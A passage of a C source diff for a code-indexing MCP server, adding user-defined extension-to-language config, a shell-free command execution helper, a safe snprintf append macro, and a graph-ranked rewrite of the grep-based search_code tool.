* and project (indices global_count..count), remove the global entry by
|
||||
* replacing it with the last global entry (order-insensitive dedup).
|
||||
*/
|
||||
for (int p = global_count; p < count; p++) {
|
||||
for (int g = 0; g < global_count; g++) {
|
||||
if (entries[g].ext && strcmp(entries[g].ext, entries[p].ext) == 0) {
|
||||
/* Remove global entry: overwrite with last global entry */
|
||||
free(entries[g].ext);
|
||||
entries[g] = entries[global_count - 1];
|
||||
entries[global_count - 1].ext = NULL; /* mark as consumed */
|
||||
global_count--;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Compact: remove any NULL-ext slots left by the dedup step.
|
||||
* (Those are the consumed "last global" entries.)
|
||||
*/
|
||||
int write_idx = 0;
|
||||
for (int i = 0; i < count; i++) {
|
||||
if (entries[i].ext != NULL) {
|
||||
entries[write_idx++] = entries[i];
|
||||
}
|
||||
}
|
||||
count = write_idx;
|
||||
|
||||
cfg->entries = entries;
|
||||
cfg->count = count;
|
||||
return cfg;
|
||||
}
|
||||
|
||||
CBMLanguage cbm_userconfig_lookup(const cbm_userconfig_t *cfg, const char *ext) {
|
||||
if (!cfg || !ext || !ext[0]) {
|
||||
return CBM_LANG_COUNT;
|
||||
}
|
||||
for (int i = 0; i < cfg->count; i++) {
|
||||
if (cfg->entries[i].ext && strcmp(cfg->entries[i].ext, ext) == 0) {
|
||||
return cfg->entries[i].lang;
|
||||
}
|
||||
}
|
||||
return CBM_LANG_COUNT;
|
||||
}
|
||||
|
||||
void cbm_userconfig_free(cbm_userconfig_t *cfg) {
|
||||
if (!cfg) {
|
||||
return;
|
||||
}
|
||||
for (int i = 0; i < cfg->count; i++) {
|
||||
free(cfg->entries[i].ext);
|
||||
}
|
||||
free(cfg->entries);
|
||||
free(cfg);
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
/*
|
||||
* userconfig.h — User-defined file extension → language mappings.
|
||||
*
|
||||
* Reads extra_extensions from two optional JSON config files:
|
||||
* Global: $XDG_CONFIG_HOME/codebase-memory-mcp/config.json
|
||||
* (falls back to ~/.config/codebase-memory-mcp/config.json)
|
||||
* Project: {repo_root}/.codebase-memory.json
|
||||
*
|
||||
* Project config wins over global. Unknown language values warn and are
|
||||
* skipped (fail-open). Missing files are silently ignored.
|
||||
*
|
||||
* Format:
|
||||
* {"extra_extensions": {".blade.php": "php", ".mjs": "javascript"}}
|
||||
*
|
||||
* The language string matching is case-insensitive.
|
||||
*/
|
||||
#ifndef CBM_USERCONFIG_H
|
||||
#define CBM_USERCONFIG_H
|
||||
|
||||
#include "cbm.h" /* CBMLanguage */
|
||||
|
||||
/* ── Types ──────────────────────────────────────────────────────── */
|
||||
|
||||
typedef struct {
|
||||
char *ext; /* file extension including dot, e.g. ".blade.php" */
|
||||
CBMLanguage lang; /* resolved language enum */
|
||||
} cbm_userext_t;
|
||||
|
||||
typedef struct {
|
||||
cbm_userext_t *entries; /* heap-allocated array */
|
||||
int count; /* number of entries */
|
||||
} cbm_userconfig_t;
|
||||
|
||||
/* ── API ────────────────────────────────────────────────────────── */
|
||||
|
||||
/*
|
||||
* Load user config from global + project files, merge (project wins).
|
||||
* repo_path: absolute path to the repository root (for project config).
|
||||
* Returns a heap-allocated cbm_userconfig_t (caller must free via
|
||||
* cbm_userconfig_free). Returns NULL only on allocation failure.
|
||||
* Missing config files are silently ignored.
|
||||
*/
|
||||
cbm_userconfig_t *cbm_userconfig_load(const char *repo_path);
|
||||
|
||||
/*
|
||||
* Look up a file extension in the user config.
|
||||
* ext: extension including dot, e.g. ".blade.php"
|
||||
* Returns the mapped CBMLanguage, or CBM_LANG_COUNT if not found.
|
||||
*/
|
||||
CBMLanguage cbm_userconfig_lookup(const cbm_userconfig_t *cfg, const char *ext);
|
||||
|
||||
/* Free a cbm_userconfig_t returned by cbm_userconfig_load. NULL-safe. */
|
||||
void cbm_userconfig_free(cbm_userconfig_t *cfg);
|
||||
|
||||
/* ── Integration hook ───────────────────────────────────────────── */
|
||||
|
||||
/*
|
||||
* Set the process-global user config that cbm_language_for_extension()
|
||||
* will consult before the built-in table.
|
||||
* cfg may be NULL to clear the override.
|
||||
* Not thread-safe — call before spawning worker threads.
|
||||
*/
|
||||
void cbm_set_user_lang_config(const cbm_userconfig_t *cfg);
|
||||
|
||||
/*
|
||||
* Get the currently active process-global user config.
|
||||
* Returns NULL if none has been set.
|
||||
* Called internally by cbm_language_for_extension().
|
||||
*/
|
||||
const cbm_userconfig_t *cbm_get_user_lang_config(void);
|
||||
|
||||
#endif /* CBM_USERCONFIG_H */
|
||||
@@ -144,6 +144,13 @@ int cbm_rmdir(const char *path) {
|
||||
return _rmdir(path);
|
||||
}
|
||||
|
||||
int cbm_exec_no_shell(const char *const *argv) {
|
||||
if (!argv || !argv[0]) {
|
||||
return -1;
|
||||
}
|
||||
return (int)_spawnvp(_P_WAIT, argv[0], argv);
|
||||
}
|
||||
|
||||
#else /* POSIX */
|
||||
|
||||
/* ── POSIX implementation ─────────────────────────────────────── */
|
||||
@@ -151,6 +158,7 @@ int cbm_rmdir(const char *path) {
|
||||
#include <dirent.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
struct cbm_dir {
|
||||
@@ -248,4 +256,30 @@ int cbm_rmdir(const char *path) {
|
||||
return rmdir(path);
|
||||
}
|
||||
|
||||
int cbm_exec_no_shell(const char *const *argv) {
|
||||
if (!argv || !argv[0]) {
|
||||
return -1;
|
||||
}
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
return -1;
|
||||
}
|
||||
if (pid == 0) {
|
||||
/* Child: exec directly — no shell interpretation */
|
||||
/* 127 = standard "command not found" exit code (POSIX convention) */
|
||||
enum { EXEC_NOT_FOUND = 127 };
|
||||
execvp(argv[0], (char *const *)argv);
|
||||
_exit(EXEC_NOT_FOUND);
|
||||
}
|
||||
/* Parent: wait for child */
|
||||
int status = 0;
|
||||
if (waitpid(pid, &status, 0) < 0) {
|
||||
return -1;
|
||||
}
|
||||
if (WIFEXITED(status)) {
|
||||
return WEXITSTATUS(status);
|
||||
}
|
||||
return -1; /* killed by signal */
|
||||
}
|
||||
|
||||
#endif /* _WIN32 */
|
||||
|
||||
@@ -50,4 +50,10 @@ int cbm_unlink(const char *path);
|
||||
/* Delete an empty directory. Returns 0 on success. */
|
||||
int cbm_rmdir(const char *path);
|
||||
|
||||
/* Execute a command without shell interpretation.
|
||||
* argv is a NULL-terminated array: {"cmd", "arg1", "arg2", NULL}.
|
||||
* Returns the process exit code, or -1 on fork/exec failure.
|
||||
* POSIX: fork() + execvp(). Windows: _spawnvp(). */
|
||||
int cbm_exec_no_shell(const char *const *argv);
|
||||
|
||||
#endif /* CBM_COMPAT_FS_H */
|
||||
|
||||
@@ -53,4 +53,22 @@ char **cbm_str_split(CBMArena *a, const char *s, char delim, int *out_count);
|
||||
* Returns true if safe, false if the string contains shell metacharacters. */
|
||||
bool cbm_validate_shell_arg(const char *s);
|
||||
|
||||
/* Safe snprintf append: clamps offset to prevent buffer overflow on truncation.
|
||||
* When snprintf truncates, it returns what it WOULD have written, which can make
|
||||
* offset > bufsize. Next call: bufsize - offset wraps unsigned → huge → overflow.
|
||||
* This macro guards against that by checking bounds before writing and clamping after.
|
||||
*
|
||||
* Usage: CBM_SNPRINTF_APPEND(buf, sizeof(buf), off, "fmt %s", arg);
|
||||
* Requires: <stdio.h> included by caller. */
|
||||
#define CBM_SNPRINTF_APPEND(buf, sz, off, ...) \
|
||||
do { \
|
||||
if ((off) >= 0 && (off) < (int)(sz)) { \
|
||||
int _cbm_r = snprintf((buf) + (off), (sz) - (size_t)(off), __VA_ARGS__); \
|
||||
if (_cbm_r > 0) \
|
||||
(off) += _cbm_r; \
|
||||
if ((off) >= (int)(sz)) \
|
||||
(off) = (int)(sz) - 1; \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
#endif /* CBM_STR_UTIL_H */
|
||||
|
||||
+521
-42
@@ -20,6 +20,7 @@
|
||||
#include "foundation/compat_thread.h"
|
||||
#include "foundation/log.h"
|
||||
#include "foundation/str_util.h"
|
||||
#include "foundation/compat_regex.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <process.h> /* _getpid */
|
||||
@@ -277,12 +278,21 @@ static const tool_def_t TOOLS[] = {
|
||||
"\"array\",\"items\":{\"type\":\"string\"}}}}"},
|
||||
|
||||
{"search_code",
|
||||
"Search source code content with text or regex patterns. Use for string literals, error "
|
||||
"messages, and config values that are not in the knowledge graph.",
|
||||
"Graph-augmented code search. Finds text patterns via grep, then enriches results with "
|
||||
"the knowledge graph: deduplicates matches into containing functions, ranks by structural "
|
||||
"importance (definitions first, popular functions next, tests last). "
|
||||
"Modes: compact (default, signatures only — token efficient), full (with source), "
|
||||
"files (just file paths). Use path_filter regex to scope results.",
|
||||
"{\"type\":\"object\",\"properties\":{\"pattern\":{\"type\":\"string\"},\"project\":{\"type\":"
|
||||
"\"string\"},\"file_pattern\":{\"type\":\"string\"},\"regex\":{\"type\":\"boolean\","
|
||||
"\"default\":false},\"limit\":{\"type\":\"integer\",\"description\":\"Max results. Default: "
|
||||
"unlimited\"}},\"required\":["
|
||||
"\"string\"},\"file_pattern\":{\"type\":\"string\",\"description\":\"Glob for grep "
|
||||
"--include (e.g. *.go)\"},\"path_filter\":{\"type\":\"string\",\"description\":\"Regex "
|
||||
"filter on result file paths (e.g. ^src/ or \\\\.(go|ts)$)\"},\"mode\":{\"type\":\"string\","
|
||||
"\"enum\":[\"compact\",\"full\",\"files\"],\"default\":\"compact\",\"description\":\"compact: "
|
||||
"signatures+metadata (default). full: with source. files: just file list.\"},"
|
||||
"\"context\":{\"type\":\"integer\",\"description\":\"Lines of context around each match "
|
||||
"(like grep -C). Only used in compact mode.\"},"
|
||||
"\"regex\":{\"type\":\"boolean\",\"default\":false},\"limit\":{\"type\":\"integer\","
|
||||
"\"description\":\"Max results (default 10)\",\"default\":10}},\"required\":["
|
||||
"\"pattern\"]}"},
|
||||
|
||||
{"list_projects", "List all indexed projects", "{\"type\":\"object\",\"properties\":{}}"},
|
||||
@@ -1624,21 +1634,314 @@ static char *handle_get_code_snippet(cbm_mcp_server_t *srv, const char *args) {
|
||||
true);
|
||||
}
|
||||
|
||||
/* ── search_code ──────────────────────────────────────────────── */
|
||||
/* ── search_code v2: graph-augmented code search ─────────────── */
|
||||
|
||||
/* Strip non-ASCII bytes to guarantee valid UTF-8 JSON output */
|
||||
enum { ASCII_MAX = 127 };
|
||||
static void sanitize_ascii(char *s) {
|
||||
for (unsigned char *p = (unsigned char *)s; *p; p++) {
|
||||
if (*p > ASCII_MAX) {
|
||||
*p = '?';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Intermediate grep match */
|
||||
typedef struct {
|
||||
char file[512];
|
||||
int line;
|
||||
char content[1024];
|
||||
} grep_match_t;
|
||||
|
||||
/* Deduped result: one per containing graph node */
|
||||
typedef struct {
|
||||
int64_t node_id; /* 0 = raw match (no containing node) */
|
||||
char node_name[256];
|
||||
char qualified_name[512];
|
||||
char label[64];
|
||||
char file[512];
|
||||
int start_line;
|
||||
int end_line;
|
||||
int in_degree;
|
||||
int out_degree;
|
||||
int score;
|
||||
int match_lines[64];
|
||||
int match_count;
|
||||
} search_result_t;
|
||||
|
||||
/* Score a result for ranking: project source first, vendored last, tests lowest */
|
||||
enum { SCORE_FUNC = 10, SCORE_ROUTE = 15, SCORE_VENDORED = -50, SCORE_TEST = -5 };
|
||||
enum { MAX_LINE_SPAN = 999999 };
|
||||
|
||||
static int compute_search_score(const search_result_t *r) {
|
||||
int score = r->in_degree;
|
||||
if (strcmp(r->label, "Function") == 0 || strcmp(r->label, "Method") == 0) {
|
||||
score += SCORE_FUNC;
|
||||
}
|
||||
if (strcmp(r->label, "Route") == 0) {
|
||||
score += SCORE_ROUTE;
|
||||
}
|
||||
if (strstr(r->file, "vendored/") || strstr(r->file, "vendor/") ||
|
||||
strstr(r->file, "node_modules/")) {
|
||||
score += SCORE_VENDORED;
|
||||
}
|
||||
/* Penalize test files */
|
||||
if (strstr(r->file, "test") || strstr(r->file, "spec") || strstr(r->file, "_test.")) {
|
||||
score += SCORE_TEST;
|
||||
}
|
||||
return score;
|
||||
}
|
||||
|
||||
static int search_result_cmp(const void *a, const void *b) {
|
||||
const search_result_t *ra = (const search_result_t *)a;
|
||||
const search_result_t *rb = (const search_result_t *)b;
|
||||
return rb->score - ra->score; /* descending */
|
||||
}
|
||||
|
||||
/* Build the grep command string based on scoped vs recursive mode */
|
||||
static void build_grep_cmd(char *cmd, size_t cmd_sz, bool use_regex, bool scoped,
|
||||
const char *file_pattern, const char *tmpfile, const char *filelist,
|
||||
const char *root_path) {
|
||||
// NOLINTNEXTLINE(readability-implicit-bool-conversion)
|
||||
const char *flag = use_regex ? "-E" : "-F";
|
||||
if (scoped) {
|
||||
if (file_pattern) {
|
||||
snprintf(cmd, cmd_sz, "xargs grep -n %s --include='%s' -f '%s' < '%s' 2>/dev/null",
|
||||
flag, file_pattern, tmpfile, filelist);
|
||||
} else {
|
||||
snprintf(cmd, cmd_sz, "xargs grep -n %s -f '%s' < '%s' 2>/dev/null", flag, tmpfile,
|
||||
filelist);
|
||||
}
|
||||
} else {
|
||||
if (file_pattern) {
|
||||
snprintf(cmd, cmd_sz, "grep -rn %s --include='%s' -f '%s' '%s' 2>/dev/null", flag,
|
||||
file_pattern, tmpfile, root_path);
|
||||
} else {
|
||||
snprintf(cmd, cmd_sz, "grep -rn %s -f '%s' '%s' 2>/dev/null", flag, tmpfile, root_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Phase 4: assemble JSON output from search results */
|
||||
static char *assemble_search_output(search_result_t *sr, int sr_count, grep_match_t *raw,
|
||||
int raw_count, int gm_count, int limit, int mode,
|
||||
int context_lines, const char *root_path) {
|
||||
enum { MODE_COMPACT = 0, MODE_FULL = 1, MODE_FILES = 2 };
|
||||
|
||||
yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL);
|
||||
yyjson_mut_val *root_obj = yyjson_mut_obj(doc);
|
||||
yyjson_mut_doc_set_root(doc, root_obj);
|
||||
|
||||
int output_count = sr_count < limit ? sr_count : limit;
|
||||
|
||||
if (mode == MODE_FILES) {
|
||||
yyjson_mut_val *files_arr = yyjson_mut_arr(doc);
|
||||
char *seen_files[512];
|
||||
int seen_count = 0;
|
||||
for (int fi = 0; fi < output_count; fi++) {
|
||||
bool dup = false;
|
||||
for (int j = 0; j < seen_count; j++) {
|
||||
if (strcmp(seen_files[j], sr[fi].file) == 0) {
|
||||
dup = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!dup && seen_count < 512) {
|
||||
seen_files[seen_count++] = sr[fi].file;
|
||||
yyjson_mut_arr_add_str(doc, files_arr, sr[fi].file);
|
||||
}
|
||||
}
|
||||
for (int fi = 0; fi < raw_count && seen_count < 512; fi++) {
|
||||
bool dup = false;
|
||||
for (int j = 0; j < seen_count; j++) {
|
||||
if (strcmp(seen_files[j], raw[fi].file) == 0) {
|
||||
dup = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!dup) {
|
||||
seen_files[seen_count++] = raw[fi].file;
|
||||
yyjson_mut_arr_add_str(doc, files_arr, raw[fi].file);
|
||||
}
|
||||
}
|
||||
yyjson_mut_obj_add_val(doc, root_obj, "files", files_arr);
|
||||
} else {
|
||||
yyjson_mut_val *results_arr = yyjson_mut_arr(doc);
|
||||
for (int ri = 0; ri < output_count; ri++) {
|
||||
search_result_t *r = &sr[ri];
|
||||
yyjson_mut_val *item = yyjson_mut_obj(doc);
|
||||
|
||||
yyjson_mut_obj_add_str(doc, item, "node", r->node_name);
|
||||
yyjson_mut_obj_add_str(doc, item, "qualified_name", r->qualified_name);
|
||||
yyjson_mut_obj_add_str(doc, item, "label", r->label);
|
||||
yyjson_mut_obj_add_str(doc, item, "file", r->file);
|
||||
yyjson_mut_obj_add_int(doc, item, "start_line", r->start_line);
|
||||
yyjson_mut_obj_add_int(doc, item, "end_line", r->end_line);
|
||||
yyjson_mut_obj_add_int(doc, item, "in_degree", r->in_degree);
|
||||
yyjson_mut_obj_add_int(doc, item, "out_degree", r->out_degree);
|
||||
|
||||
yyjson_mut_val *ml = yyjson_mut_arr(doc);
|
||||
for (int j = 0; j < r->match_count; j++) {
|
||||
yyjson_mut_arr_add_int(doc, ml, r->match_lines[j]);
|
||||
}
|
||||
yyjson_mut_obj_add_val(doc, item, "match_lines", ml);
|
||||
|
||||
if (r->start_line > 0 && r->end_line > 0) {
|
||||
char abs_path[1024];
|
||||
snprintf(abs_path, sizeof(abs_path), "%s/%s", root_path, r->file);
|
||||
|
||||
if (mode == MODE_FULL) {
|
||||
char *source = read_file_lines(abs_path, r->start_line, r->end_line);
|
||||
if (source) {
|
||||
sanitize_ascii(source);
|
||||
yyjson_mut_obj_add_strcpy(doc, item, "source", source);
|
||||
free(source);
|
||||
}
|
||||
} else if (context_lines > 0 && r->match_count > 0) {
|
||||
int first_match = r->match_lines[0];
|
||||
int last_match = r->match_lines[r->match_count - 1];
|
||||
int ctx_start = first_match - context_lines;
|
||||
int ctx_end = last_match + context_lines;
|
||||
if (ctx_start < 1) {
|
||||
ctx_start = 1;
|
||||
}
|
||||
char *ctx = read_file_lines(abs_path, ctx_start, ctx_end);
|
||||
if (ctx) {
|
||||
sanitize_ascii(ctx);
|
||||
yyjson_mut_obj_add_strcpy(doc, item, "context", ctx);
|
||||
yyjson_mut_obj_add_int(doc, item, "context_start", ctx_start);
|
||||
free(ctx);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
yyjson_mut_arr_add_val(results_arr, item);
|
||||
}
|
||||
yyjson_mut_obj_add_val(doc, root_obj, "results", results_arr);
|
||||
|
||||
enum { MAX_RAW = 20 };
|
||||
yyjson_mut_val *raw_arr = yyjson_mut_arr(doc);
|
||||
int raw_output = raw_count < MAX_RAW ? raw_count : MAX_RAW;
|
||||
for (int ri = 0; ri < raw_output; ri++) {
|
||||
yyjson_mut_val *item = yyjson_mut_obj(doc);
|
||||
yyjson_mut_obj_add_str(doc, item, "file", raw[ri].file);
|
||||
yyjson_mut_obj_add_int(doc, item, "line", raw[ri].line);
|
||||
yyjson_mut_obj_add_str(doc, item, "content", raw[ri].content);
|
||||
yyjson_mut_arr_add_val(raw_arr, item);
|
||||
}
|
||||
yyjson_mut_obj_add_val(doc, root_obj, "raw_matches", raw_arr);
|
||||
}
|
||||
|
||||
/* Directory distribution */
|
||||
{
|
||||
yyjson_mut_val *dirs = yyjson_mut_obj(doc);
|
||||
char dir_names[64][128];
|
||||
int dir_counts[64];
|
||||
int dir_n = 0;
|
||||
for (int di = 0; di < sr_count; di++) {
|
||||
char top[128] = "";
|
||||
const char *slash = strchr(sr[di].file, '/');
|
||||
if (slash) {
|
||||
size_t dlen = (size_t)(slash - sr[di].file + 1);
|
||||
if (dlen >= sizeof(top)) {
|
||||
dlen = sizeof(top) - 1;
|
||||
}
|
||||
memcpy(top, sr[di].file, dlen);
|
||||
top[dlen] = '\0';
|
||||
} else {
|
||||
snprintf(top, sizeof(top), "%s", sr[di].file);
|
||||
}
|
||||
int found = -1;
|
||||
for (int d = 0; d < dir_n; d++) {
|
||||
if (strcmp(dir_names[d], top) == 0) {
|
||||
found = d;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (found >= 0) {
|
||||
dir_counts[found]++;
|
||||
} else if (dir_n < 64) {
|
||||
snprintf(dir_names[dir_n], sizeof(dir_names[0]), "%s", top);
|
||||
dir_counts[dir_n] = 1;
|
||||
dir_n++;
|
||||
}
|
||||
}
|
||||
for (int d = 0; d < dir_n; d++) {
|
||||
yyjson_mut_val *key = yyjson_mut_strcpy(doc, dir_names[d]);
|
||||
yyjson_mut_val *val = yyjson_mut_int(doc, dir_counts[d]);
|
||||
yyjson_mut_obj_add(dirs, key, val);
|
||||
}
|
||||
yyjson_mut_obj_add_val(doc, root_obj, "directories", dirs);
|
||||
}
|
||||
|
||||
/* Summary stats */
|
||||
yyjson_mut_obj_add_int(doc, root_obj, "total_grep_matches", gm_count);
|
||||
yyjson_mut_obj_add_int(doc, root_obj, "total_results", sr_count);
|
||||
yyjson_mut_obj_add_int(doc, root_obj, "raw_match_count", raw_count);
|
||||
if (sr_count > 0 && gm_count > 0) {
|
||||
char ratio[32];
|
||||
snprintf(ratio, sizeof(ratio), "%.1fx", (double)gm_count / (double)(sr_count + raw_count));
|
||||
yyjson_mut_obj_add_strcpy(doc, root_obj, "dedup_ratio", ratio);
|
||||
}
|
||||
|
||||
char *json = yy_doc_to_str(doc);
|
||||
if (json) {
|
||||
sanitize_ascii(json);
|
||||
}
|
||||
yyjson_mut_doc_free(doc);
|
||||
|
||||
char *result = cbm_mcp_text_result(json, false);
|
||||
free(json);
|
||||
return result;
|
||||
}
|
||||
|
||||
static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
|
||||
char *pattern = cbm_mcp_get_string_arg(args, "pattern");
|
||||
char *project = cbm_mcp_get_string_arg(args, "project");
|
||||
char *file_pattern = cbm_mcp_get_string_arg(args, "file_pattern");
|
||||
int limit = cbm_mcp_get_int_arg(args, "limit", 500000);
|
||||
char *path_filter = cbm_mcp_get_string_arg(args, "path_filter");
|
||||
char *mode_str = cbm_mcp_get_string_arg(args, "mode");
|
||||
int limit = cbm_mcp_get_int_arg(args, "limit", 10);
|
||||
int context_lines = cbm_mcp_get_int_arg(args, "context", 0);
|
||||
bool use_regex = cbm_mcp_get_bool_arg(args, "regex");
|
||||
|
||||
/* Parse mode: compact (default), full, files */
|
||||
enum { MODE_COMPACT, MODE_FULL, MODE_FILES };
|
||||
int mode = MODE_COMPACT;
|
||||
if (mode_str) {
|
||||
if (strcmp(mode_str, "full") == 0) {
|
||||
mode = MODE_FULL;
|
||||
} else if (strcmp(mode_str, "files") == 0) {
|
||||
mode = MODE_FILES;
|
||||
}
|
||||
free(mode_str);
|
||||
}
|
||||
|
||||
/* Compile path_filter regex if provided */
|
||||
cbm_regex_t path_regex;
|
||||
bool has_path_filter = false;
|
||||
if (path_filter && path_filter[0]) {
|
||||
if (cbm_regcomp(&path_regex, path_filter, CBM_REG_EXTENDED | CBM_REG_NOSUB) == CBM_REG_OK) {
|
||||
has_path_filter = true;
|
||||
}
|
||||
free(path_filter);
|
||||
path_filter = NULL;
|
||||
} else {
|
||||
free(path_filter);
|
||||
path_filter = NULL;
|
||||
}
|
||||
|
||||
if (!pattern) {
|
||||
free(project);
|
||||
free(file_pattern);
|
||||
return cbm_mcp_text_result("pattern is required", true);
|
||||
}
|
||||
|
||||
/* Resolve project */
|
||||
if (!project && srv->session_project[0]) {
|
||||
project = heap_strdup(srv->session_project);
|
||||
}
|
||||
|
||||
char *root_path = get_project_root(srv, project);
|
||||
if (!root_path) {
|
||||
free(pattern);
|
||||
@@ -1657,7 +1960,8 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
|
||||
return cbm_mcp_text_result("path or file_pattern contains invalid characters", true);
|
||||
}
|
||||
|
||||
/* Write pattern to temp file to avoid shell injection */
|
||||
/* ── Phase 1: Grep scan ──────────────────────────────────── */
|
||||
|
||||
char tmpfile[256];
|
||||
#ifdef _WIN32
|
||||
snprintf(tmpfile, sizeof(tmpfile), "/tmp/cbm_search_%d.pat", (int)_getpid());
|
||||
@@ -1676,21 +1980,53 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
|
||||
(void)fprintf(tf, "%s\n", pattern);
|
||||
(void)fclose(tf);
|
||||
|
||||
char cmd[4096];
|
||||
// NOLINTNEXTLINE(readability-implicit-bool-conversion)
|
||||
const char *flag = use_regex ? "-E" : "-F";
|
||||
if (file_pattern) {
|
||||
snprintf(cmd, sizeof(cmd), "grep -rn %s --include='%s' -m %d -f '%s' '%s' 2>/dev/null",
|
||||
flag, file_pattern, limit * 3, tmpfile, root_path);
|
||||
} else {
|
||||
snprintf(cmd, sizeof(cmd), "grep -rn %s -m %d -f '%s' '%s' 2>/dev/null", flag, limit * 3,
|
||||
tmpfile, root_path);
|
||||
/* No grep-level match limit — let grep find all matches, then dedup and
|
||||
* cap in our code. The -m flag caused results from large vendored files
|
||||
* to exhaust the quota before reaching project source files. */
|
||||
enum { GREP_MAX_MATCHES = 500 };
|
||||
int grep_limit = GREP_MAX_MATCHES;
|
||||
|
||||
/* Scope grep to indexed files only — avoids scanning vendored/generated code.
|
||||
* Query the graph for distinct file paths, write them to a temp file,
|
||||
* then use xargs to pass them to grep. Falls back to recursive grep if
|
||||
* no indexed files found (project not fully indexed). */
|
||||
char filelist[256];
|
||||
snprintf(filelist, sizeof(filelist), "%s.files", tmpfile);
|
||||
bool scoped = false;
|
||||
|
||||
cbm_store_t *pre_store = resolve_store(srv, project);
|
||||
if (pre_store) {
|
||||
const char *pn = project ? project : srv->session_project;
|
||||
char **indexed_files = NULL;
|
||||
int indexed_count = 0;
|
||||
if (pn &&
|
||||
cbm_store_list_files(pre_store, pn, &indexed_files, &indexed_count) == CBM_STORE_OK &&
|
||||
indexed_count > 0) {
|
||||
FILE *fl = fopen(filelist, "w");
|
||||
if (fl) {
|
||||
for (int fi = 0; fi < indexed_count; fi++) {
|
||||
fprintf(fl, "%s/%s\n", root_path, indexed_files[fi]);
|
||||
}
|
||||
fclose(fl);
|
||||
scoped = true;
|
||||
}
|
||||
for (int fi = 0; fi < indexed_count; fi++) {
|
||||
free(indexed_files[fi]);
|
||||
}
|
||||
free(indexed_files);
|
||||
}
|
||||
}
|
||||
|
||||
char cmd[4096];
|
||||
build_grep_cmd(cmd, sizeof(cmd), use_regex, scoped, file_pattern, tmpfile, filelist, root_path);
|
||||
|
||||
// NOLINTNEXTLINE(bugprone-command-processor,cert-env33-c)
|
||||
FILE *fp = cbm_popen(cmd, "r");
|
||||
if (!fp) {
|
||||
cbm_unlink(tmpfile);
|
||||
if (scoped) {
|
||||
cbm_unlink(filelist);
|
||||
}
|
||||
free(root_path);
|
||||
free(pattern);
|
||||
free(project);
|
||||
@@ -1698,16 +2034,14 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
|
||||
return cbm_mcp_text_result("search failed", true);
|
||||
}
|
||||
|
||||
yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL);
|
||||
yyjson_mut_val *root_obj = yyjson_mut_obj(doc);
|
||||
yyjson_mut_doc_set_root(doc, root_obj);
|
||||
|
||||
yyjson_mut_val *matches = yyjson_mut_arr(doc);
|
||||
/* Collect grep matches into array */
|
||||
int gm_cap = 64;
|
||||
int gm_count = 0;
|
||||
grep_match_t *gm = malloc(gm_cap * sizeof(grep_match_t));
|
||||
char line[2048];
|
||||
int count = 0;
|
||||
size_t root_len = strlen(root_path);
|
||||
|
||||
while (fgets(line, sizeof(line), fp) && count < limit) {
|
||||
while (fgets(line, sizeof(line), fp) && gm_count < grep_limit) {
|
||||
size_t len = strlen(line);
|
||||
while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r')) {
|
||||
line[--len] = '\0';
|
||||
@@ -1716,7 +2050,6 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
|
||||
continue;
|
||||
}
|
||||
|
||||
/* grep output: /abs/path/file:lineno:content */
|
||||
char *colon1 = strchr(line, ':');
|
||||
if (!colon1) {
|
||||
continue;
|
||||
@@ -1729,7 +2062,6 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
|
||||
*colon1 = '\0';
|
||||
*colon2 = '\0';
|
||||
|
||||
/* Strip root_path prefix to get relative path */
|
||||
const char *file = line;
|
||||
if (strncmp(file, root_path, root_len) == 0) {
|
||||
file += root_len;
|
||||
@@ -1737,31 +2069,178 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
|
||||
file++;
|
||||
}
|
||||
}
|
||||
int lineno = (int)strtol(colon1 + 1, NULL, 10);
|
||||
const char *content = colon2 + 1;
|
||||
|
||||
yyjson_mut_val *item = yyjson_mut_obj(doc);
|
||||
yyjson_mut_obj_add_str(doc, item, "file", file);
|
||||
yyjson_mut_obj_add_int(doc, item, "line", lineno);
|
||||
yyjson_mut_obj_add_str(doc, item, "content", content);
|
||||
yyjson_mut_arr_add_val(matches, item);
|
||||
count++;
|
||||
/* Apply path_filter regex — skip files that don't match */
|
||||
if (has_path_filter && cbm_regexec(&path_regex, file, 0, NULL, 0) != CBM_REG_OK) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (gm_count >= gm_cap) {
|
||||
gm_cap *= 2;
|
||||
gm = safe_realloc(gm, gm_cap * sizeof(grep_match_t));
|
||||
}
|
||||
snprintf(gm[gm_count].file, sizeof(gm[0].file), "%s", file);
|
||||
gm[gm_count].line = (int)strtol(colon1 + 1, NULL, 10);
|
||||
snprintf(gm[gm_count].content, sizeof(gm[0].content), "%s", colon2 + 1);
|
||||
sanitize_ascii(gm[gm_count].content);
|
||||
gm_count++;
|
||||
}
|
||||
cbm_pclose(fp);
|
||||
cbm_unlink(tmpfile); /* Clean up pattern file after grep is done */
|
||||
cbm_unlink(tmpfile);
|
||||
if (scoped) {
|
||||
cbm_unlink(filelist);
|
||||
}
|
||||
|
||||
yyjson_mut_obj_add_val(doc, root_obj, "matches", matches);
|
||||
yyjson_mut_obj_add_int(doc, root_obj, "count", count);
|
||||
/* ── Phase 2+3: Block expansion + graph ranking ──────────── */
|
||||
/* Sort grep matches by file for contiguous processing.
|
||||
* Then: one SQL query per unique file for nodes, one batch query for all degrees. */
|
||||
|
||||
char *json = yy_doc_to_str(doc);
|
||||
yyjson_mut_doc_free(doc);
|
||||
